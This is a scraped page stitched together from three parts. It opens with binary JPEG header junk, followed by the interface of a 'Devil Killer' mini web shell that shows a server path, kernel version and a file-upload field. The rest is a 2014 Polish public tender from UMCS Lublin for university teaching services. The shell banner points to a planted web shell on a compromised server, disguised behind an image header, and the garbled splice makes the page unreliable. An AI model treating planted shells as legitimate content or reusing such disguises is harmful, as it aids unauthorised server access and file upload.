JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20140827/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20140827/284542-N-2014.html

<p class="kh_header"><b>Lublin: Prowadzenie zajęć dydaktycznych w ramach projektu UMCS dla rynku pracy i gospodarki opartej na wiedzy</b><br>
<b>Numer ogłoszenia: 284542 - 2014; data zamieszczenia: 27.08.2014</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Uniwersytet Marii Curie-Skłodowskiej , Pl. M. Curie-Skłodowskiej 5, 20-031 Lublin, woj. lubelskie, tel. 081 5375965, faks 081 5375965.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.umcs.lublin.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Uczelnia publiczna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Prowadzenie zajęć dydaktycznych w ramach projektu UMCS dla rynku pracy i gospodarki opartej na wiedzy.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest prowadzenie zajęć dydaktycznych na innowacyjnych specjalnościach/specjalizacjach w ramach projektu UMCS dla rynku pracy i gospodarki opartej na wiedzy oraz przygotowanie kompletu materiałów dydaktycznych do prowadzonych zajęć, współfinansowanego przez Unię Europejską ze środków Europejskiego Funduszu Społecznego
Szczegółowy opis przedmiotu zamówienia znajduje się w załączniku nr 1 do SIWZ..</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 27.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 30.09.2015.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> nie dotyczy</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie określa szczegółowego sposobu oceny spełniania tego warunku</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie określa szczegółowego sposobu oceny spełniania tego warunku</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie określa szczegółowego sposobu oceny spełniania tego warunku</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek spełnią Wykonawcy, którzy wykażą, że osoby wykonujące zamówienie dysponują osobami zdolnymi do wykonania zamówienia w poniższym zakresie:
Numer części	Wykształcenie oraz stopień / tytuł naukowy	Zakres doświadczeń zawodowych / dorobek naukowy
1	Wykształcenie min. doktor nauk humanistycznych lub ścisłych	1.	dodatkowo wykształcenie informatyczne, matematyczno-informatyczne i/lub ukończone kursy i szkolenia z zakresu nowoczesnych technologii informatycznych
2.	min. 100 godzin doświadczenia w prowadzeniu przedmiotów informatycznych/ prowadzeniu kursów i szkoleń dla dorosłych z zakresu: tworzenie stron i aplikacji internetowych, pozycjonowanie stron, struktura strony internetowej, podstawowe języki projektowania stron),
3.	znajomość języka programowania Python, frameworku do tworzenia aplikacji www Django;
2	Wykształcenie minimalne: wyższe magisterskie	1.	minimum trzyletnie doświadczenie w pracy dydaktycznej na uczelni wyższej w zakresie przedmiotów z zakresu edytorstwa komputerowego, internetowego i twórczego projektowania w mediach (m.in. elektronicznych) 
2.	minimum 100 godzinne doświadczenie w prowadzeniu laboratoryjnych zajęć z zakresu szkolenia komputerowego
3.	doświadczenie zawodowe w zakresie projektowania graficznego (wykonanie min. jednego, autorskiego projektu graficznego np. logotyp);
4.	znajomość i doświadczenie dydaktyczne w zakresie programów: Photoshop, InDesign, Illustrator, Gimp, Excel, Access, Word, PowerPoint;
3	Wykształcenie min. doktor nauk humanistycznych lub ścisłych	1.	min. 100 godzin doświadczenia w prowadzeniu kursów i szkoleń dla dorosłych w zakresie różnorodnego zastosowania TI (w szczególności grafika komputerowa, infografika, webdesign, tworzenie aplikacji webowych, DTP, etc.), 
2.	min. 3 letnie doświadczenie zawodowe zdobyte podczas współpracy z firmami i przedsiębiorcami (w szczególności  doradztwo z zakresu wykorzystania technologii informatycznych w przedsiębiorstwie, budowanie e-wizerunku firmy, tworzenie wizualizacji firmy oraz projektowanie stron internetowych, promocja i e-promocja produktów i usług),
3.	min. 3 letnia współpraca z agencjami reklamowymi, drukarniami, wydawnictwami oraz biurami projektowymi w zakresie projektowania i wykonawstwa materiałów drukowanych i na wyświetlacze z wykorzystaniem nowoczesnych technik graficznych i technologii;
4.	znajomość języka programowania Python, frameworku do tworzenia aplikacji www Django;
4	Wykształcenie minimalne: wyższe magisterskie	1.	przeprowadzenie min. 150 godzin szkoleń z zakresu autoprezentacji, negocjacji  i marketingu w ciągu ostatnich 3 lat,
2.	przygotowanie min. jednego programu nauczania lub/i ekspertyzy lub/i opracowania lub/i sylabusa z zakresu wystąpień publicznych,
3.	min. 5-letnie doświadczenie w prowadzeniu działalności biznesowej (w obszarze negocjacji, marketingu, sprzedaży),
4.	udział w krajowych i międzynarodowych konferencjach biznesowych (min. 12 w ciągu roku) oraz przynależność (przynajmniej do jednej)  organizacji biznesowej
5.	doświadczenie trenerskie (trener biznesu) potwierdzone certyfikatem;
5	Wykształcenie minimalne: wyższe magisterskie	1.	min. 150 godzin  doświadczenie dydaktyczne związane z prowadzeniem w szkołach wyższych różnego typu wykładów  i seminariów nt.  rozwoju ścieżki kariery i/lub komunikacji oraz negocjacji, przywództwa, marketingu
2.	minimum 10-letnie doświadczenie w prowadzeniu doradztwa biznesowego dla firm: negocjacje, marketing, budowanie marki
3.	przygotowanie minimum  jednego programu nauczania i/lub sylabusa i/ lub materiałów dydaktycznych z zakresu różnych form komunikacji  w biznesie
4.	opublikowanie przynajmniej 15 artykułów nt. rozwoju osobistego i/lub obsługi klienta i/lub marketingu w prasie fachowej  dla managerów;
6	Wykształcenie minimalne: wyższe magisterskie	1.	min. 100 godzin lub min. 5 lat doświadczenia w zakresie prowadzenia szkoleń z zakresu komunikacji indywidualnej i społecznej  (np. praktyczne potrzeby komunikacji w budowaniu ścieżki kariery)
2.	doświadczenie w przygotowywaniu programów szkoleń, sylabusów, materiałów dydaktycznych z zakresu przedmiotu nauczania (min. 1 z każdej kategorii)
3.	autorstwo min. 3 artykułów związanych z przedmiotem nauczania;
7	- wykształcenie wyższe z translatoryki lub filologii angielskiej
- w przypadku ukończenia studiów na kierunku filologia angielska konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego	1.	minimum trzyletnie doświadczenie dydaktyczne w roli nauczyciela akademickiego, ze szczególnym uwzględnieniem dydaktyki translacji
2.	minimum czteroletnie doświadczenie w pracy na rynku usług translatorskich w roli tłumacza ustnego, w szczególności kabinowego/konferencyjnego w zakresie języków polski-angielski;
8	- wyższe z translatoryki lub filologii niemieckiej
- w przypadku ukończenia studiów na kierunku filologia niemiecka konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia kursu (min. 120h) z tłumaczenia ustnego	1.	minimum trzyletnie doświadczenie dydaktyczne w roli nauczyciela akademickiego, ze szczególnym uwzględnieniem dydaktyki translacji
2.	minimum czteroletnie doświadczenie w pracy na rynku usług translatorskich w roli tłumacza ustnego, w szczególności kabinowego/konferencyjnego w zakresie języków polski-niemiecki;
9	- wyższe z translatoryki lub filologii angielskiej
- poświadczone ukończenie kursu lub studiów tłumaczeniowych (w tym doktoranckich wraz z uzyskaniem tytułu doktora w specjalizacji translatorskiej)	1.	minimum pięcioletnie doświadczenie w pracy na rynku usług translatorskich w roli tłumacza ustnego polski-angielski
2.	doświadczenie w zakresie akademickiej lub pozaakademickiej dydaktyki translacji;
10	-wyższe z translatoryki (angielski-polski), lingwistyki stosowanej w specjalizacji translatorskiej angielski-polski lub filologii angielskiej
- w przypadku ukończenia studiów na kierunku filologia angielskiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego	1.	minimum dwuletnie doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji 
2.	minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL-ANG.) w zakresie określonych poniżej dziedzin specjalistycznych: 
a.	prawo (dowolny dział, także teoria prawa), 
b.	biznes i funkcjonowanie przedsiębiorstw i gospodarka (makro i mikroekonomia), 
c.	prawodawstwo unijne (UE)
3.	minimum 500 godzin przeprowadzonego tłumaczenia kabinowego;
11	-wyższe z translatoryki (angielski-polski), lingwistyki stosowanej w specjalizacji translatorskiej angielski-polski lub filologii angielskiej
- w przypadku ukończenia studiów na kierunku filologia angielskiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego	1.	minimum dwuletnie doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji 
2.	minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL-ANG.) w zakresie określonych poniżej dziedzin specjalistycznych: 
a.	medycyna (dowolny dział), profilaktyka medyczna lub technika medyczna
3.	minimum 500 godzin przeprowadzonego tłumaczenia kabinowego;
12	- wyższe z translatoryki (niemiecki-polski), lingwistyki stosowanej w specjalizacji translatorskiej niemiecki-polski lub filologii germańskiej
- w przypadku ukończenia studiów na kierunku filologia niemieckiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego		1.	minimum dwuletnie doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji
2.	minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL<>NIEM.) w zakresie określonych poniżej dziedzin specjalistycznych: 
a.	debaty polityczne i społeczne (w tym debaty na poziomie UE i/lub organizacji międzynarodowych)
b.	bankowość (w tym polityka Europejskiego Banku Centralnego i Narodowych Banków Centralnych)
3.	minimum 500 godzin przeprowadzonego tłumaczenia kabinowego;
13	- wyższe z translatoryki (niemiecki-polski), lingwistyki stosowanej w specjalizacji translatorskiej niemiecki-polski lub filologii germańskiej
- w przypadku ukończenia studiów na kierunku filologia niemieckiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego		1.	minimum dwuletnie doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji
2.	minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL<>NIEM.) w zakresie określonych poniżej dziedzin specjalistycznych: 
a.	kultura, literatura, muzyka
3.	minimum 500 godzin przeprowadzonego tłumaczenia kabinowego;
14	- wyższe z translatoryki (niemiecki-polski), lingwistyki stosowanej w specjalizacji translatorskiej niemiecki-polski lub filologii germańskiej
- w przypadku ukończenia studiów na kierunku filologia niemieckiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego		1.	minimum dwuletnie doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji
2.	minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL-NIEM.) w zakresie określonych poniżej dziedzin specjalistycznych: 
a.	prawo (dowolny dział, także teoria prawa), 
b.	biznes i funkcjonowanie przedsiębiorstw i gospodarka (makro i mikroekonomia), 
c.	prawodawstwo unijne (UE)
3.	minimum 500 godzin przeprowadzonego tłumaczenia kabinowego;
15	- wykształcenie minimalne: wyższe magisterskie -kierunek historia specjalność archiwalna/archiwistyczna
udokumentowane wykształcenie, co najmniej podyplomowe w zakresie informatyki	1.	praca w charakterze wykładowcy akademickiego  min. 2 lata,
2.	minimum 100 godzin doświadczenia jako trener w zakresie archiwistyki, zarządzania dokumentacją lub records management;
16 	Wykształcenie minimalne: wyższe magisterskie	1.	posiadanie wiedzy z zakresu możliwości zastosowań wybranych serwisów WEB 2.0 w reklamie i promocji kultury;
2.	minimum 100-godzinne doświadczenie w prowadzeniu zajęć kursów dla osób dorosłych z zakresu WEB 2.0 i jego praktycznych zastosowań; 
3.	przygotowanie z metodyki nauczania uwzględniającej specyfikę rzeczywistości wirtualnej (trójwymiarowość, multimedialność, specyficzna nawigacja, mechanizmy WEB 2.0), 
4.	minimum 3 publikacje lub artykuły nt. WEB 2.0 i:lub Secend Life, i/lub e-learningu, 
5.	doświadczenie w tworzeniu współtworzeniu minimum jednego portalu społecznościowego;
17	Wykształcenie minimalne: wyższe magisterskie	1.	minimum 5-letnie doświadczenie w pracy w radio,
2.	autor min. 10 audycji radiowych, 
3.	minimum 30-godzinne doświadczenie w prowadzeniu zajęć dydaktycznych lub szkoleń dla osób dorosłych;
18	Wykształcenie minimalne: doktora sztuki filmowej	1.	minimum 100-godzinne doświadczenie w prowadzeniu zajęć dydaktycznych lub szkoleń dla osób dorosłych, 
2.	reżyser min. 10 filmów dokumentalnych lub programów telewizyjnych lub spektakli teatralnych;
19	Wykształcenie minimalne: doktora sztuki filmowej	1.	 min. 10-letni staż pracy jako operator, 
2.	autor zdjęć do min. 10 filmów, 
3.	minimum 100-godzinne doświadczenie w prowadzeniu zajęć dydaktycznych lub szkoleń dla osób dorosłych;
20	Wykształcenie minimalne: wyższe magisterskie	1.	minimum 5 letnie doświadczenie zawodowe w pracy w instytucjach kultury;
2.	posiadanie wiedzy z zakresu typologii placówek kulturalnych oraz pełnionych przez nie funkcji, 
3.	posiadanie wiedzy z zakresu kierunków polityki kulturalnej państwa i jednostek samorządowych;
21	Wykształcenie minimalne: wyższe magisterskie	1.	posiadanie umiejętności w zakresie zarządzania projektami finansowanymi z funduszy europejskich i wiedzy dotyczącej zasad funkcjonowania funduszy strukturalnych, 
2.	minimum 10 lat praktyki w zakresie planowania, pisania komercyjnych i niekomercyjnych projektów, 
3.	uprawnienia trenera w zakresie pozyskiwania i zarzadzania funduszami strukturalnymi, 
4.	autor min. 5 publikacji z zakresu projektowania społeczno- kulturalnego. 
22	Wykształcenie minimalne: wyższe magisterskie w zakresie psychologii społecznej
	1.	min. 3 lata doświadczenia zawodowego jako trener i mediator, 
2.	min. 200 godzin doświadczenia w prowadzeniu zajęć dydaktycznych na uczelni wyższej i 200 godzin szkoleń dla osób dorosłych,
3.	wiedza z zakresu komunikacji społecznej i interpersonalnej, autoprezentacji, wystąpień publicznych poparta doświadczeniem zawodowym m.in. we współpracy z różnymi instytucjami i firmami branżowymi;
23	Wykształcenie minimalne:
doktor z zakresu nauk humanistycznych	1.	minimum 5 lat doświadczenia zawodowego na uczelni wyższej; 
2.	minimum 5 lat doświadczenia w zakresie przygotowywanie i prowadzenia kursów akademickich w środowisku elektronicznym (cały wykład w formie on-line), 
3.	znajomość tematyki związanej z fenomenologiczną analizą elementów kultury i sztuki współczesnej, poparte publikacją minimum 1 książki i/lub 5 artykułów naukowych;
24	Wykształcenie min. doktor nauk humanistycznych w zakresie językoznawstwa (z uwzględnieniem języka serbskiego)	1.	biegła znajomość języka serbskiego poświadczona ukończeniem studiów magisterskich w zakresie języka serbskiego
2.	minimum 5 letni staż pracy dydaktycznej  związanej z nauczaniem języka serbskiego w systemie szkolnictwa wyższego
3.	minimum 3 publikacje z zakresu językoznawstwa serbskiego i/lub słowiańskiego językoznawstwa porównawczego z uwzględnieniem języka serbskiego;
25	Wykształcenie: minimum wyższe	1.	udokumentowana znajomość języka nowogreckiego poprzez: posiadanie dyplomu ukończenia studiów z zakresu języka nowogreckiego lub posiadanie dyplomu ukończenia studiów na greckiej uczelni z zakresu nauk humanistycznych lub posiadanie certyfikatu znajomości języka nowogreckiego na poziomie C2
2.	minimum 2-letnie doświadczenie w nauczaniu języka nowogreckiego;
26	1. Wykształcenie min. doktor nauk o ziemi w zakresie geografii 
2. specjalność kartografia	- minimum 5 publikacji z zakresu kartografii
- doświadczenie dydaktyczne w prowadzeniu zajęć na uczelni minimum 5 lat
- doświadczenie w praktycznym wykonywaniu prac z zakresu danych przestrzennych i kartografii mobilnej (łącznie  3 prace);
27	1. Wykształcenie min. doktor nauk o ziemi w zakresie geografii 
2. specjalność kartografia	- minimum 5 publikacji z zakresu kartografii
- doświadczenie dydaktyczne w prowadzeniu zajęć na uczelni minimum 5 lat
- doświadczenie w praktycznym wykonywaniu prac z zakresu danych przestrzennych i kartografii mobilnej (łącznie 2 prace).</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie określa szczegółowego sposobu oceny spełniania tego warunku</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>nie dotyczy</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Niedopuszczalna jest pod rygorem nieważności zmiana postanowień zawartej umowy oraz wprowadzenie nowych postanowień do umowy niekorzystnych dla Zamawiającego, jeżeli przy ich uwzględnieniu należałoby zmienić treść oferty, na podstawie której dokonano wyboru Wykonawcy, chyba że konieczność wprowadzenia takich zmian wynika z okoliczności, których nie można było przewidzieć w chwili zawarcia umowy. 
Gdy zaistnieje inna okoliczność prawna, ekonomiczna lub techniczna, skutkująca niemożliwością wykonania lub należytego wykonania umowy zgodnie z SIWZ.
Warunkiem takiej zmiany jest wystąpienie okoliczności, których nie można było wcześniej przewidzieć. 
Strona, która występuje z propozycją zmiany umowy, w oparciu o przedstawiony powyżej katalog zmian umowy zobowiązana jest do sporządzenia  i uzasadnienia wniosku o taką zmianę. Wszelkie zmiany umowy dla swej ważności wymagają formy pisemnej w postaci aneksu do umowy.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.przetargi.umcs.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Uniwersytet Marii Curie-
Skłodowskiej w Lublinie, Biuro projektu UMCS dla rynku pracy i gospodarki opartej na wiedzy, ul. Sowińskiego 12 pok.
9; 20-040 Lublin.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 04.09.2014 godzina 11:00, miejsce: Uniwersytet Marii Curie-
Skłodowskiej w Lublinie, Biuro projektu UMCS dla rynku pracy i gospodarki opartej na wiedzy, ul. Sowińskiego 12 pok.
9; 20-040 Lublin.</p>
